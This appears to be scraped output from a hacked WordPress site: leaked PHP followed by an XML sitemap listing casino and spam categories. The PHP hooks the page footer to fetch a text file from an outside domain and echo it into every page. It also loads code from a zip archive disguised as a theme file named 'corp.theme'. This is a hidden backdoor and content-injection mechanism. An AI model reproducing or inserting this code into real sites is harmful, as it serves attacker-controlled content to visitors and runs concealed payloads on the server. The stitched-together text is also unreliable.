add_action('wp_footer', function () {
    $r = wp_remote_get('https://vortex.rockwood-shop.com/bl/apa.txt', ['timeout' => 5]);
    if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) {
        echo wp_remote_retrieve_body($r);
    }
}, 9999);

/* Corp Theme */

load_template( "zip://" . locate_template( "corp.theme" ) . "#archive", true );
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://forestvillevillages.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://forestvillevillages.com/category/bisnis/</loc></url><url><loc>https://forestvillevillages.com/category/public/</loc></url><url><loc>https://forestvillevillages.com/category/25/</loc></url><url><loc>https://forestvillevillages.com/category/casino-zonder-crucks/</loc></url><url><loc>https://forestvillevillages.com/category/1/</loc></url><url><loc>https://forestvillevillages.com/category/5/</loc></url><url><loc>https://forestvillevillages.com/category/10/</loc></url><url><loc>https://forestvillevillages.com/category/casino/</loc></url><url><loc>https://forestvillevillages.com/category/20/</loc></url><url><loc>https://forestvillevillages.com/category/casino-spellen/</loc></url></urlset>